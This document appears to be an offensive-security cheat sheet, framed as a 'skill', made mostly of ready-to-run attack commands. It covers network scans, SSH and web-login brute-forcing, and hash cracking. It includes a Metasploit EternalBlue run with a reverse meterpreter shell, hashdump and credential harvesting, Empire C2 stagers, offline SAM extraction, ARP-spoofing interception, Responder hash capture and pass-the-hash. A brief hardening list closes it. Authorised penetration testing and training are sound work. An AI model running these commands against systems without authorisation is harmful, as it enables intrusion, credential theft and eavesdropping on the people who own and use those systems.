Hacking & Security Skill

Core Toolchain

Reconnaissance

# Network discovery
nmap -sn 192.168.1.0/24              # ping sweep
nmap -sV -sC -p- target             # service/version scan + default scripts
nmap --script vuln target            # vulnerability scan

# DNS recon
dig target.com ANY
dnsrecon -d target.com -t axfr       # zone transfer attempt
whois target.com

# SSL/TLS assessment
sslyze target.com:443                # certificate + cipher analysis
testssl target.com                   # comprehensive TLS test

Credential Attacks

# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target
hydra -L users.txt -P passwords.txt http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid"

# Password cracking (offline)
hashcat -m 0 hashes.txt rockyou.txt            # MD5
hashcat -m 1000 hashes.txt rockyou.txt         # NTLM
hashcat -m 1800 hashes.txt rockyou.txt         # sha512crypt (Linux)
john --wordlist=rockyou.txt hashes.txt

Traffic Analysis

# Wireshark / tcpdump
tcpdump -i eth0 -w capture.pcap
tcpdump -r capture.pcap 'tcp port 80'
ngrep -W byline 'password|pass' port 80        # keyword search in traffic

---

Metasploit Framework

Workflow

msfconsole
search type:exploit name:eternalblue
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.50
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
run

Meterpreter Post-Exploitation

meterpreter> getuid              # current user
meterpreter> getsystem           # attempt privilege escalation
meterpreter> hashdump            # dump NTLM hashes
meterpreter> run post/multi/recon/local_exploit_suggester
meterpreter> run post/windows/gather/credentials/credential_collector
meterpreter> portfwd add -l 3389 -p 3389 -r internal_host  # port forward
meterpreter> upload/download file
meterpreter> shell               # drop to OS shell

---

C2 Frameworks

Empire Framework

• Listeners: HTTP/S, WMI — receive connections from agents
• Stagers: PowerShell, Python, BAT — executed on victim to install agent
• Modules: recon, credentials, lateral movement, persistence

(Empire) > listeners
(Empire) > uselistener http
(Empire) > usestager windows/launcher_bat
set Listener http
execute

Sliver (Modern C2)

• Written in Go; generates implants for Windows/Linux/macOS
• Supports HTTP/S, DNS, mutual TLS communication channels
• Built-in pivoting, port forwarding, process injection

Koadic (COM-based, JScript/VBScript)

• Uses Windows COM objects as implant — blends with normal Windows behavior
• LOLBins (Living Off the Land): cscript, wscript, mshta

---

Offline Attacks

Physical Access

1. Boot from Kali USB in live mode
2. Mount Windows NTFS: ntfs-3g /dev/sdb1 /mnt/windows
3. Extract credentials: SAM + SYSTEM → impacket-secretsdump
4. Reset Windows password: chntpw -u Administrator SAM

Encrypted Disk (BitLocker/LUKS)

• BitLocker: requires recovery key or TPM bypass — often stored in AD
• LUKS: cryptsetup luksDump /dev/sda1 shows hash parameters for offline attack
• dislocker: mount BitLocker volumes on Linux

---

Web Application Testing

OWASP Juice Shop Methodology (progressive disclosure)

1. Reconnaissance: robots.txt, sitemap.xml, JS source, API endpoints
2. Auth testing: default credentials, SQL injection in login, JWT attacks
3. Injection: SQLi, XSS, XXE in file uploads, SSTI
4. Broken access control: IDOR (change IDs in requests), privilege escalation via API

Burp Suite Workflow

1. Proxy: intercept + modify requests
2. Spider/Crawler: map all endpoints
3. Scanner: automated vulnerability detection
4. Intruder: systematic fuzzing (payloads → positions)
5. Repeater: manual testing of individual requests
6. Extensions: additional functionality (SQLMap, JSON decoder)

---

Network Attacks

ARP Spoofing + MITM

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Poison both directions:
arpspoof -i eth0 -t victim gateway
arpspoof -i eth0 -t gateway victim
# Capture traffic with Wireshark on eth0

SMB/Windows Credential Attacks

# Responder: capture NetNTLM hashes from LLMNR/NBT-NS
responder -I eth0 -wrf
# Crack captured hashes:
hashcat -m 5600 netntlm_hashes.txt rockyou.txt
# Pass-the-hash:
impacket-psexec DOMAIN/user@target -hashes :ntlm_hash

---

Password Attack Strategies

Rainbow Tables

Precomputed hash → plaintext tables. Effective against unsalted hashes:

rcracki_mt -h [hash] -t /path/to/tables

Defense: always salt passwords (bcrypt, scrypt, Argon2id include automatic salting).

Wordlist Construction

# CeWL: spider target website for custom wordlist
cewl -d 3 -w target_words.txt https://target.com
# Hashcat rules expand wordlists (l33t substitutions, capitalization):
hashcat -m 1000 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule

---

Security Hardening (Defensive)

Ten Steps to Greater Safety

1. Patch management: automated updates, especially for internet-facing services
2. Network segmentation: VLAN, firewall rules, least privilege
3. Credential hygiene: password manager, MFA, no password reuse
4. Logging and monitoring: SIEM, alerting on anomalies
5. Principle of least privilege: no local admin rights for standard users
6. Endpoint protection: EDR, application whitelisting
7. Email security: SPF + DKIM + DMARC, anti-phishing training
8. Web filtering: proxy with SSL inspection for outbound
9. Incident response plan: defined roles, communication plan, practiced
10. Regular pentesting: validate controls, find gaps before attackers

CVSS Scoring (for prioritizing vulnerabilities)

• Score 0-3.9: Low → patch in next maintenance window
• Score 4.0-6.9: Medium → patch within 30 days
• Score 7.0-8.9: High → patch within 7 days
• Score 9.0-10.0: Critical → emergency patch immediately